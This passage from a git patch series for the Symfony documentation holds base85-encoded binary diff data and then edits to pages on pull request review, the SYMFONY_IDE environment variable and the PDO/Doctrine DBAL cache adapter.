zFeFQ$gg&}z=y?I7c90-uNmj(K2`VemeNDshIS{mcr_O{75<ExnybJoK2}+;LeHd_o
zcf2)hx_P(K7)%I44Oz8ew|mHoE3-b}ITn#H#zuPYHW;XbBqR4E^2zA;lYNe7=DRbf
z9ntn>^qNG=kNXcl0yHoje%Cx#wHOKl`(u<~S-kDR(?1B^@`f);bvJSK(bpJvNl1$T
z$rwrRjkLyJl8)HAW4U_UY7;NO9&TQ~xz{%Le5@DESIoFL!iasu8Av^D&kilI-~PDu
z#lHC)7DObzu+BwZ+SL3G$OXC|F(pzZl&8%P{`;*QU8bSrKQg~lpVad6A6dY-EJB?N
z=hc8@io({-Ezj;tJ#KRkE&o&FKcN-h`Ni@Tm*XoP=Ou;`-sXiRf<Rk=(WGeJq7lbY
z9^y>6E_&SaO?~jok%W)OxE{W&WAa(PCG>|gs)E@g)r;2%Opm?+-uS^x1h>Afk)n0w
zHc}{0p@`$CPachrU}K5cX4^ar4{Z+&IaUy?*?%0{=ohZ&u88^?BUv~>vv9w+`Mdeq
z*b!(?0qsxju_F%XNE9bud;ZF;E9LW9I=XGak6snZ6fEoAH(nmzQFR}taV_lm-f_*_
zu49?(<9erLY5wulckmoFGQiM)A6?JN_NG@K@Hkk~`TCCP`lzJ*Ievn?`udxOgRRT@
z4IAX%UJn>Q%IBSXj?}GF#~zXf_3D}R2@@yE?|=O1?Z*o88ub2$5&PoV=ycsRQm$NC
z6Hxler=RhR2sjsklY2e*kj$Dr+qh54W1Og~i<KHROxB;Pfn@*w)ITT@oU-@BeT)kS
zlOT(KC9@uw!EyC<outF1SIF$yb0TUE_fdcUJ;m%hreW%{20=DYJmGkwbn5kB?}*^k
z`!vAy<4-;%|IV8yRjXE!%Pt9a5f)L9ZXB-xcoBpb?hxR=-5u4vPaQ!cR=_+}CS&yP
zC2brxZcauYk6f#x@gfzQ2uk^ax&naQdQOFiKSVp7R@S&V88&5;d@?H1I02=`-ES|J
zTV7fy@L!zO0%eOG!TFoIEy!xYAJo@9Gv6rB{K^jmN`@jBb*f(_Re_w<b&5Ct<LVVP
zBQbG}(1u}C((=L|@;%>OVth^)SC>5xULIi3k5ZtW1p{B?HV9;tq?y`nV}U?vjhQr7
z@EU}I+`1vM`~6G!N5B8QB@yRh--{Yk1d1iNG=ck$%nE{-!XWVW&#UE%C+C?U#qdkr
z?Yy+HbTFF$^77DCY3dJ`R@Xf{Uv7PQp-gi|LMN*)!d=r7ovNC991MO}S0H||LBioC
z1V%?!!0SeJw*=|?$+9$xIT%e4KpgkQ?E!7ad5AyJ^W79Piv!yb@aw1fA?^g+&cr)f
zIHT{&P^roJjbP6(BKIHgxN&uaSq+Iu=T6s2i4rB`mtn)@<4-<|I2ADydfa`F+<41v
z^2JwQM;yZjj0te1IBfU``D^muf*B32v_9bkfh#At@!O?Ao)H*25xMTvvO41}ugqAy
zU7jAi!ZRWu56r^BduaC39qK+Qzh|6GMjuI}j@g~IW`&S}=0_dX4hB~6T>0R)wSmuC
zn<gX6+s-a;PJ3_I8W}k~@;MIU{;S`I-rX6=JFCyZ_sVhgikR3=k9@i;&GY0feO`8Y
zZh>G%RY9FWklg~qE#8lpJ~1!Cpo@CIEg0M&LK;?6y@4aKo{>(nn5*@4mLX)~zgvxg
z#Z3&u`1`}xy1TsfjNFqrIiufC$@uQ{Dj&y6Mz6`!&psy|F2B<Jy%R?<Op=QUq@CxL
ziyO<P<x&FrL16?-yc@G>87d|9w^PoX^|NK^mZegqSQYR19(4mWT1Qex)W<vOtc3G{
zi<e=Gel;^7a1=h#r>~hNOE)i#Xcyd=bf|xc$pAA3ZvVBL`kvPpF!Bi!r=BjKg&P-`
zz_-oHH#29QT(!OI-nUzZ&ihW*sVki_1<S~}b<Wekxu-|wYRd`dJ7Vz&Ik)zCQXo$O
zqwKz>;kEMKj6osAR``09DO^_iwC<xbAwqvd4*B;R`EvFb5$%fL<iCzi4Jztr`x_hI
zB!i~E8#2gfJ&NQnBHdebm;71>E1uCOTu&&Pt-xS%<<VDb9`A%^IcRw$@|TpGn%rWO
zq%Onf$Hh1GtkgC4e1E(A+o@-zt_7Swd;Kg~v}uvlC{e?tyP@$7^5mZbW!qjIZ4pk7
z;K_F%*HfCPt02hS^>d~F@BO^v!?mx~ZdThIE1a*ebZORAUitfF69gIk1cstpo81=S
zV#p*${*Z7vFjR!bd#j)0;?*_Q!AUY&XWQ80HA~czi|cg=o#Xy?+V#`IAJqtPv^m<M
zLJMhgR9hLhbZkWbXk505w&xzncVs@3Zs4Df%Z#-%OgR_V?;suOh3*N=&ge7tAu-q6
z;cL&s$uMXb#jA7NjWdFP>(z=?lO<c0c<r$5$<ie%=i{5D<vH!Q<-oAuJ}2z{Y+bq>
zu%69QtY}f`^U#BGfA5Fo<yT)*_Xgj|F*-^T{`#j)n=V_nZk3ufYRKJp-VsqV1b#g8
zjQ<!H4YzdZCe52Qlk(-uNs78!nl)>-^zHMI^y$|>;+*t03TrUxetKTd`yP<@Km14)
zAj70d<Hp9F!_1j8jlls5@?Q7$^s<7oWcY6*jO(D2PB~rLs6qou61ZnTOa~}qzKJqY
z)5|0YE6J=!t5&Uy;%1Ec*S@;r_0pnwGigx2zRaF8M<%OMXQwJ|z#aw#S9;&yOK!Tg
zi;NgKO3pa@JZapxkp_Y;Ak%du>B?2Bq-fD1@<^YDy|@kTxzX0|SAYLdK0?uOcE35s
z%?hTGPhYgd_}ee4qm=txbyT3gU?}G=X<b_G8<ZmNsOy~Cl?qCVy2pVF02nBs47lj{
zk`YCR6wj6AVO0PO{BpS&VcbwhRIXO#I+RW@cEF$iofm~>&_tY^1snKd7bBpdtoU3<
zptr13RC-;SHDzDkwzL^#j?weyJu*kjDq?1MK&d?|WrqpwiTDeJG#GSFl*c<(mA)S@
zH9n+a2*QkuW2zMr_{GK_@w2rJh_3-RJp-<*Vibw-wgavZDy#brD1<L~^j~RJr?3fl
z-9h_TGUcKZOB+K1j0+ten=8$9M0KJ3I?Gm-`7rw2d0|BpY&BY$UDdDlD7{xM9xzuh
zDju%BU>t(m7tAKO_mWD2KAx!bd}p!b%Zry-NY-uH7omJb@Ne9!P`3I7{RlH)Fe?1U
z7Z#X)1*0I0HBi=KR!|$AO>)r*sV)|i*%#q6zN;D%Us1&*o&}%YSH~D7Z9QAoEozie
zaC_1Ifmx=0x13d8nkYXAf}W23XRDdP0L2_;WWbn$nKCeNDpu*C*Cm=ybr>yw(HRuy
z>hlYuW8pGtx;{%_u!HaI2i2vQopoXB6m6N&_hq#FGO{1W{^wqJNq+e0XXSRJoUhx7
zNO6r#^w5L%s{y{RJT~x2`D*ZBX{g5PHLKUiv>7vuks31-?zyu^V76`Bw9(mcUzuYk
zwQC!Z2JaZWuj~v)q)kLHTcyvHN11-|A(ZDj5*_yu?neX;->>ft^xb<qL_UKv+eZ?q
zV|J%Kt7S=fci37%u-(&p&(`;*#$QkudehY)i1*^HY7lti$JI%z7F_n6)uM!8)=>|Q
zp91%Hh?Rp;_p|glh-U+4RgC>7t+6m^mB>U!_g|{tEUzq*?<a0FZikxJE@Ju(c%dKR
z`{fZ0v>fj}pNXoZIklBOi!pN#>^iDpx4F)^sIPqI=yQ1T{O!gdaz^tKazcZm5$C4&
zjEqPeWutb*0)o7M(R-@PD+|rL4TcMRli|Adxw5h`y82Jg=sk&iGWz|LneR@2{nOjd
z$TeBHa-|G<?*o(dyYIa(7~n%Wd<oFNaQI&P+|hDX#+i|>Sn6;pxE8`TMl&aS+bGx^
zYX1D8(C*audN0Lzbpr&YrCT5Gpj`>q-`4l*IbTWZquQ7e=TQ1S+U_wKwPd8EY)&zX
z-g>3$NyD<o*t2EC;@^y`8`JLasA}(Ec*QN>&*#fopG%{%jZFLqB>zv1Gt3VR4f*qg
zMu@=0Q%N21Z(I}E%pKnF>;K)q-^!&8E;C0@t$vzOeE+rbFM+bRX33hW<Zh~Ygp?*Q
ziolTK=ND_+7K<g~2ehwtit(}k?}oWX5nflhU{t%6C7YMX#N`u=qSUq@?ZEXYnm_cB
z(!N@IqtsrsX`#TiPpy&&AeB$nX>1DDC6qlM_4D@uY$tNu&)>go>u;9f^4$Dwdc^Mj
zV8;8>r%hjz6m=ii{z-K$G*;kZ2!^g>w4Y!`ffX2z-1?4987mjoy;v#~361V+p>YeI
zJ@q+bh`>2@OVu;i47_cO4eZw@hw{<-p*|B<Oz@0iICP5|B~I5_CaboslCo-0s#U7C
zY}mO$_U_;7^)pkC@cC%pUn?fbOf?o9qkR$5rFmC5w&JleTMc)4j?5!<O4gO8<(qoO
z1sGSRub!?W07Litq!km55d-zXebejs2aKDg`5Wd*DGdhQsBB|7u5#+f&LoW!;_q+n
zOdQnV(UTrC?#)p5H>bRjCcXds%x<Ghdwu+T?DN51|J=Tf_8)A4vKj^hjEI~*W2U71
z{EMj)W;R@P#pQDEJ$FgLf@w!h4|t@n6fagx27fa|M>9?~eYAEh&8J@<IqlR_5;icP
z&{Ix6S-$?_Q+edk$7Sl&sh*GN{Q2|CWfxs2-MZYWzN2;4O;{Q?Y9z0{{Gtqe>c28?
z{(Sjv==V~jND(>yxMNKa%Z$vVuz4r4OlCcxG<xy5XXUMT-jPo}``pYBv9m<Vmn$cC
zs8QvbtFBaqWu&6HR;`-y&DUS3(&#CH>kPQ5fD|fJ$QUeONQyUjwrzVY{iF2j2kRPT
z|0wnIj)21^PgQc`59NohsBA`)+Vt)cioe^>ub>L$BX!2Xdcmk@2$UloPAnyN=rJf=
z{c^S{OKVmvXk6*cQl-*db&COkfA!1Tm62Oj`G`@j*&)4DA$&lUS|hdXAr~@f>zk~4
zV3hu#J8Q{ns)&Vh1a2OzK*@94Iprh#>)T^FWeLUkb2nEP#EE!ENBgf-We$F<;95g*
zb)PDLT(?;Ec&sIqLC<LLYs{K~!X7TNpqNRvK>74`k6Ol10>jQYRRlpH4S(=YcCKuU
zYO%@$gEw!lDUW`(+yw5#h-0{lz<mToHfDNcL@>J5l`?9)gTbzLr2+!iDYzG7NiSs%
z<@(D*SDT=s)*S}!qpMCXD^S9_K}D0@7hy1fk?gl=n~l=)BMo8-#T5jKug5x8kymtv
z#ZpzGBA&#h&WtErlR-Ud3gUZUW{I6ef)TO}bT-eumsFNx)xAhGsitvV-qrgGGZxTp
zxK2S|gz>BI)m2O$(asIppV9YaP+l3?SD}1)V_Y8h`ya-jUbbwRgtIyK?6ahH&6@Ja
z0R8sU0ReO7{%i8Ud;ZGHFOx2}-eP7G24&o~^@+y70OK{@vwnfm0R{%lbij;<MCIhh
z#pR3p>zI28vwoluh2&QQ+eK~4NEdw$+F-;s@67fQn@>($nrBM)8v5*8Vcx%Z594_V
zS4QvX>>&TMAsKCWvU4?kzOGTD<XUsz;@-tfpIgr=r~E5Ox7QXWqnIqo11__^exQzi
zKP;DVIxEV~pu}?+#?ITc{<!xKhTyq_cjP<2td`G4uQM|V;I0XRXKts{D(LgLj4_(J
z^-J#=>86df{>U{|q?o>=zWHN=8Z@?r-%SOj-_=K%ZwovlgCryOB=X7V_fuxRJA>*U
zYhOmLNyUm4P5c@R_&G<PrIf>)z!9nx$pL@LAKn+?P;PzKziu<tf1&9s2c;R8zR^K-
zQ3s@WwUE0Tqi}@c5{kzpFFQ55Uj9?_4AaiPSN$#j9sg8BIdI?d@)@t1k^D&1Z%iMV
zw{c!XJuuSx()uAqJc2X#8S`+&an!q^x|8Xuqw%dmJ{nlWF?enAD@Ji^+gn{nv_F3G
z6W%Egk9kNIY?vQWPd}GhC2L8KR(C}x)oli|*3FWq{(Mq;w|+?Kl&WKP!{G7O)R5Z{
zTP}<dH#E6X+EqQto*KA>zx}5*zqx7{@Yf^Sc2ylo{zUtMUVa09e^jnG`bt%R*Y)<f
zD+vDk?1X1zu_~c${p=FPj~kob<R*_;e`WH^azf=3G)QnOvmb$g-<vkb%cn)f7IM#V
z_j>1a`=yHsa&7ZZ@3>7DwDh<0;nBTip&CD;al!txYoB9SxTEvE$~h|^&ip`rn*XEM
z4qHC1>7B>kopzQ&_}po$rwSOjZN7W>U24Qw6;ZElExQ}Tm{X*;3L{g$v3;ap+x|xR
zj{`4GdO=`-v-Q9dGiL5+)kA8B`<a)4Z)KUz6ngxR$Cdkri1T3_a}9jH)4a{eD<{kI
zlb$s*SKRV317~3Sr$VtvywoC?iPZV~P7&>O&x>_^5=pmv`)=8_c2BlF&yrQ|tjK3;
z%68eabB_$^p+>PBAp6wK(Bj2Q1S2)!t|%UX&t(J`E>otoalH`FIq{^ib%77(O8P<X
zSE&2*SigR~z^zkFRh(ECO8zw2v7O9%pwF#YyH?h(TQB7+l$X+_Qb!r5*A@iw+`VVF
zRIO4aU3Tf^WshS7;GVtvRoPG=%^$%w4V21fJUrVdk$-zUG+PVD5U6sux<G+@i+BZo
z(lK(fP=P#Bp=4e&(mCF9lbsH;Ct&1&qARNf?FL7T_^(_#zrdgUp(co1F)L-KY|((B
z7y*kB=E-0O*C4nS#no^H<v>;mT<c)eFanQ5ftjf2t!w&jSydcircX{0xH^L(A4UrN
zK=Bq!va>J3#nukx9&45dj5cf3wNo{9zZ9!KVK&YGRFU?uj)=cZM_ohA^F(J#9Hp~i
zf&xOv;t+JqzM~R(Uk2rKF!$m8jd(wW3l)|M`i{wyC+#elgH=DwSXivrtAIXpE9!GF
z-rGIiK60?ymC<r>?=D}j&m>j$C!_zyQ;*epuR(cML1zseYJz7lo^|{5xq<-Jn6Z>o
z1a(7TWz0syw@oP>coC1p^NdU{A3O&!W2{W^yv8MEdg<Nc8NDYn^ZgXhcc)v&jIJko
zO%Sgpkr*=>trySB8Uj70b~72j+Vb^G6%gN@o2eprG6`fI0T>s|e|-W%>0rd{%7X2P
zW~9x3+ivxtJn=al?OjS;_v|$z!J%LbRWY1CTt#GsRa0kQeP^zjDZNJCE7u;=QJPn1
z?v1#&#bd<%kMn;}7c%2C4|B3vA}^1DO$;W!{QcYW*Uy*UqaKh}I%2%08XL+NE@u?m
zbJoq)QROo=a1}<|X(o<Dl%<C-<KeZ*ugavAljQOSmrJFhmGz@H^`m9C&RQ6?WR(24
z;0IZ?bya9)LA=+?DHp4|_Uu%n$3VHRQAac4-Oe`Hu0e}uXno(E^0sW*vn7><(|*Ln
z*t~0#bXH@CYruih8Z%ISSEev9c!Fj-=i4gV<NoWH-f?rDlb^dCm2s5xC>#9%Bl)jy
z(phTjECxI41o@(G{H@CLq4S1n!0_3DJm%>L|A$6Bs79BY<><0U3yfrtHQRMsxEdEe
zobiF@y2u>BFVsiNHf;}Yzdrdj<H`#LG;8cYfbIEeMEh#?m$Gb2<OmSd%{?F6D6`+#
zzB;SoA~~h{sc8&em`U)<!k=Z>!e5O`F#q{KFZfATY+WwrsJpJl<s0i<hDZ$o>hSHq
zL*$R8zso-T=RbePo*nX-8m}&>bD=cT`>sU65*mXdj~XKOrfF|b{r&kRx*bAkE_Sw*
zmuUU6J3V;h6oFzs(NTx+xs1{C$(BUxQd(Ui;pbpWGV6i&DrPO<CsC<XDdc-S(eq-Z
zw}Ap<rHOVd(NXKj2O~8xQadL|ETw0%>xXt@#OR?cP?)qnI%6aDW3?MfM*j%rSm`r*
z3?uB_fXRvGgHPgUZhI2VE1BtGtg^8t;>kBV`yysh<V(keR0%zfpNxokp6HB;WJ#j$
zsAQF!%zW_vu2Z{qGP6utUN9iSIGLzqrjI0AR(7Vxy<67_;+`F4!yVb7DtHFN7?TqP
zb;GO${3IgrJR{S~56?l&63B>T^q$Pj_fuxRI}>SRqSu7Rg+%D)-n5*-kbAFfwzTYE
z&tSOZ^@~kAi&ZTGm1TrdF}G|ZATit%ZQZlgxbLyP;<K}T|2^$lH5!EcdqPS3`9Gh<
z<P9ZrrDBzh>!EczqX2G);3CIW`o>%TY9*>i%wTwURBu_J@gwZ{<<uYoMX(#R7@fi%
zw>N@+yR^E_sZgY%D!-Si(P4AC>HX*Dv~B3qD;BOOh<CAZ=SEf7uQrCCXzlmcAL(Ei
z+O=<|tlzQT<I$vi6X|v012!AEd)Qs-{zwC8>p%bXMBE3sTq;(exFE&{3{O^q()-VM
zw+rPfB$(B4K>b0j-M-eiS+aRy87senYAC_=EnTp*af<~OxPRRIW1Vlxxj#os000p8
zNkl<ZQJw`g@b#{}J55>XrO)hfjM(3)qh}zw`FUm<sJ~+I+LE$O_U_u7V`ebeI&(<^
z86^;H217>k<9Q@N0wj<qfuI=-iRQudBtQZrKmsH{0=bU>XE5ZxYswa7h(PUKdpMKr
zAGd>T$|+V3FEhsugd&H?ye7k(dOIn~$f*cZl!~x7#EX$Er1*6Z<xu;XV+@tENlCJ5
zLdc<#oM!bt>qM`~U%x+o*Y$4Cwd=m_-Oqh}zn{bRex5yhwl`5u7eiQ4t+eKKy588%
z7&*n9@g2<<SEn45dnM%9`EH%<;AXdWWD3pwQ0lB|ju;BF>vg_JNpN-Gf5$TI_m>kB
zQnJa@Gn<9XQd$Ork}6N6iPx!ujD~3WS`qP09U@95VzD@y%x)`HT5jvMSygYMzz1C-
zLWb#S+j>jTAocmn7kBUIYCBZ5*qgIXWVHE&bRF~6)zV-NK@_9QMy?-Yyv+1TN$$qQ
z;@)4aEg?tECe_42y0k(nFqPx9LPHX&QFA<M=IXH!_06Mik37>}CP3y}uo(+08%tQ|
zk5?D$C5mZEm-y{HCR<i4EAX)P0OQ3Ll{_$532T#0%qce<R8A=jOon;9a0idmZag+=
zxfMWr9}utY5a?xx3rKgpM{!F2AbdV`#-OYb!)(MW%k4E_1}T+sGTyu%%wxyP3U_%b
zo`L!cfTlijiaieZyjVlgKHH22iRs-#Fi*J$iL1@rfVx!3xLCUeScF2&zih$^z>WFB
z3a3`3L%}(JYMs!d?x3uPYZp^LkyMe?-asqV<(4VaQLo@iWRpWHG^?V2>XHiQdU~3I
z3zB6yVo+eaU-I)s;_9T_Q^7SU#C_P$L3gP)D{;*1VpRFdrr<=YPZ7imL)|SBBUxl)
z9|b<Ss#q^%i?y|j0}z1l25^+K|Bc!W`uE7x(r-HPvtMBzTYbWQQ(A2EPUx+T(T%Nc
z)}au0MMI;B4Ie3$twUm(sA3SANEn?d8GCvGG{$&#`VZWm)pl|9hNQvCw-~~y>6#I-
z5aEG9_puL26scQ`?!ZrB9Jb=r+aj3U7~TgX*q1yqxjSxzkqoE&kmvk{ekxb01C2Ee
z*KqVl0dJx|I>a4u#Bi8#%{@+=P=-@o9Pn-np#~i?@Xb$iqEK6zb1iI7ZWU3&cdrt)
zqeaImUJq>Z?m$0fxMyt|#XL*CV{4LcBVDX|C_R94dgjew?`2trMEiJ`ha{Vtl7%cS
znNIu0$ya8+y`pjA8Da7`C)6%=6xeK~8*clMfL)6-vSOuAZS8^4Qho3NQXhYw=9;I6
z#{^fP<ELiC+4ykI{gV-c(M2K0jTnOZkzpfv$Hax&<P+#M1g<ysmU~r8D;v|LCEC>D
z5o-s_IZPc({1{?#`2>6d{%EDY-Dyq6mX}ACC&OkjO*1zS9tFPzsVIZQ0BQYW(>o58
zBz3cHd(_vXGa7Ui9TOpl0y*xp_YxcZIBk&>;o>a82$@qv`$9bg;b^{W-%Wh6S+x$O
zmmWfAv+Pa?U&xZZ?D2X!w{p#Vj()Tw5ug@=o~b(Wrc_$!rj1W`Fm+NbV-#b7n=R{V
zcfPuV=?(qFdY+qYw!LhqpxlV|ei1Z0!N4MLMMFfDf&xLAg$=sL4&v0YXQMex;bu>?
z$OQa_i2jEl!l<<oqv?aRT9fSw4L;QB1t@SWHvrWmb!Rw%ccC9aGyV$qvk)GJmx~Cu
z_Ztt4_I;#wFveJki_p!*A~?vtWE??&LGGyqw5Q+aBSDIUfd2^yfcc~0SLloc20vSd
z+E_C^y)q=Pr_)BBR}6KXKn(I8PI6Dw_k-g$wp^?}Y@1?(vJB;fapb)n>mN>%vSrw+
znv#m-zAEJfl?%{|ahx(;N>G2It-ysS9{SSX;MGUOPOHuUSNh>G!fErn=Z|B0huOd9
zBTH{i3L04DQ%*Ks58R)Zz*B0bTyVwnmkl8?pvx)^+ndfDVbKn$%F2t3`ITaG6b#DG
zae4@oB9m|QA|h(WXH45zt9S-wqr?sBeNKVRdvUs_(^Z{D$Y$qmM9*Fl-aj;E<pgAc
zguNzr0lsHSKd>0XP>Y#zf?8R8TY`RQhTHHfK={FGsuURh=S<MPsKSJ*YQkx<>JxcD
zw`|Z`61GoYwA4X_JrqE28VFDED08b`3@2j<Htw$WEqg;~4kg<;apZYPhgxooggVx8
zGe8+rau_}gkF>-*t<*(s&ob+jzOnHPPx>RdZjW?A@6yl-qkZg3ftD2wTgXoT#zvyP
zI<77gI>FkL*QP$}&B$zbE&Qoie6Q-&P)`D3x87BOqn-h0A7|U)Cf*vM4W5i91shC0
zZ1ppD+P3Qw)STs~=tuYr>MS~0IqX=3pBQEOUK%`3+s<=Je<KhqsAak%YLitYJ-Gjc
zhHWs$?saZz*0P-EgI8ZWb4vlBIGTD_0#)_GnL<)kF~#W7+Mn?LejE@9<1RYfTZSH>
z?QXkn4Vp;pcYAj=-);EfhC7}k3Y}#d$aC@!4jP(%VT}wypfj{w)amQRJk)zbmshXj
zwa|iroXz=GoqO#KwzJx%f1aAZ!VAZX^{-KoPa-s7*wK<?ZvkE^n<rt{-+*ZE2yI%f
zz{_QG6)=p64TVK8kF4($`)6I88}wz0Ivt?wy8d=()z|#K!?F-7;70|71WWq&-cero
z-cLQ`!$9_RI*-+&c&X~UEC6EtMSx`d8HKKRo-EIGqPq~Sbn@XFdqkIjrx(RtLoRvM
zC-Y!s9*ksT+6qA1U3OITQt)iyCbOj@aXrtvHV0;yw<6#>TBiH&KY_6jPk?M7nUi_S
z4kn8$;>&KGW&nrY*yiv#B<7(v*NL7K1(KO`#MAy<0`WVs0Ee9ssr)?4;v8niqw+v9
z{|b^P+(765PLTaA;bSrhtB>jYmHR7;hdElIrAqe!_94RS<F3o@yb-<Dz5i2s=Qf$f
zIZg7a5p__|&Bnsg=T@%DfbSzvjPuFY9Hf`^Jc&~g`lT1bWNhef{BwPDwc4+R$!m=t
z&zsGvmii;tFJL<GzNl2ijKu9H8vpsVOX~EY8D(dLB}yF!j%Ic>-;yC3D^pY6%>tj@
zKHKNjJHqeVm^cz6;w$RC<yTJc^#g0FGj|NBtaZq6yzXTQ!Cqgn5rSuR?5wPF8v2~*
zW{})a0bvjOsQ);(m~+cKPJt5+=uxvK{^G5c51RP9kkXQB0!!=y%=1cxE-6U7;$rek
zxVYHkLt!v{IDV;dVa33OMp4~$DoVTvn@?u}P>c$cikBQ0l?M3y-w+pp^Zx?HPa*=o
W4r_g__b2cH4~wlfrg<iW@V@~AKS6T<

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 0445047db9c..25959c87392 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -229,25 +229,12 @@ this hard work, it's **time to celebrate again!**
 Review your changes
 -------------------
 
-Every GitHub Pull Request is automatically built and deployed by
-`SymfonyCloud`_ on a single environment that you can access on your browser to
-review your changes.
+Symfony repository checks every Pull Request automatically to look for common
+errors, inappropriate words, syntax issues in code blocks, etc.
 
-.. image:: /_images/contributing/docs-pull-request-symfonycloud.png
-   :align: center
-   :alt:   SymfonyCloud Pull Request Deployment
-
-To access the `SymfonyCloud`_ environment URL, go to your Pull Request page on
-GitHub, click on the **Show all checks** link and finally, click on the
-``Details`` link displayed for SymfonyCloud service.
-
-.. note::
-
-    Only Pull Requests to maintained branches are automatically built by
-    SymfonyCloud. Check the `roadmap`_ for maintained branches.
-
-To build a local copy of the documentation to review your changes, see the
-`Build the Documentation Locally`_ section in the README file.
+Optionally you can also build the docs in your local machine to debug issues or
+to read the documentation offline. To do so, follow the instructions included in
+`the README file of symfony-docs repository`_.
 
 Frequently Asked Questions
 --------------------------
@@ -306,4 +293,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
-.. _`Build the Documentation Locally`: https://github.com/symfony/symfony-docs#build-documentation-locally
+.. _`the README file of symfony-docs repository`: https://github.com/symfony/symfony-docs#readme

From 2bed59623d556cb0c038a2de1a0879609d7cba61 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 22 Dec 2021 16:47:17 +0100
Subject: [PATCH 1547/5766] [Framework] Read env var SYMFONY_IDE by default for
 framework.ide

---
 reference/configuration/framework.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 03c60a1de17..8f711fd8c7b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -170,7 +170,7 @@ some environment variable that stores the name of the IDE/editor:
         # config/packages/framework.yaml
         framework:
             # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            ide: '%env(resolve:CODE_EDITOR)%'
+            ide: '%env(resolve:SYMFONY_IDE)%'
 
     .. code-block:: xml
 
@@ -184,7 +184,7 @@ some environment variable that stores the name of the IDE/editor:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
-            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+            <framework:config ide="%env(resolve:SYMFONY_IDE)%"/>
         </container>
 
     .. code-block:: php
@@ -194,9 +194,14 @@ some environment variable that stores the name of the IDE/editor:
 
         return static function (FrameworkConfig $framework) {
             // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:CODE_EDITOR)%');
+            $framework->ide('%env(resolve:SYMFONY_IDE)%');
         };
 
+.. versionadded:: 6.1
+
+    The environment variable `SYMFONY_IDE` was introduced in Symfony 6.1.
+    It is read by default when `framework.ide` config is not set.
+
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs

From b073443f33beac83a0b74b20867946ad0d288432 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 16:34:15 +0100
Subject: [PATCH 1548/5766] Minor tweaks

---
 reference/configuration/framework.rst | 42 +++------------------------
 1 file changed, 4 insertions(+), 38 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f711fd8c7b..001b28aa84a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -160,47 +160,13 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. First, you can set its value to
-some environment variable that stores the name of the IDE/editor:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            ide: '%env(resolve:SYMFONY_IDE)%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
-            <framework:config ide="%env(resolve:SYMFONY_IDE)%"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:SYMFONY_IDE)%');
-        };
+feature is to configure it on a system level. First, you can define this option
+in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
+when ``framework.ide`` config is not set.
 
 .. versionadded:: 6.1
 
-    The environment variable `SYMFONY_IDE` was introduced in Symfony 6.1.
-    It is read by default when `framework.ide` config is not set.
+    ``SYMFONY_IDE`` environment variable support was introduced in Symfony 6.1.
 
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the

From 041b040114d04f12e32dd7f69fcafabb2b12d606 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:17:58 +0100
Subject: [PATCH 1549/5766] Minor tweaks

---
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 21 +++++++++----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 1f1cd08c8d5..e1bf8ab5540 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -11,16 +11,16 @@ The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL da
 
 .. note::
 
-    Adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
-    calling the ``prune()`` method.
+    These adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
 
-Using :phpclass:`PDO`
----------------------
+Using PHP PDO
+-------------
 
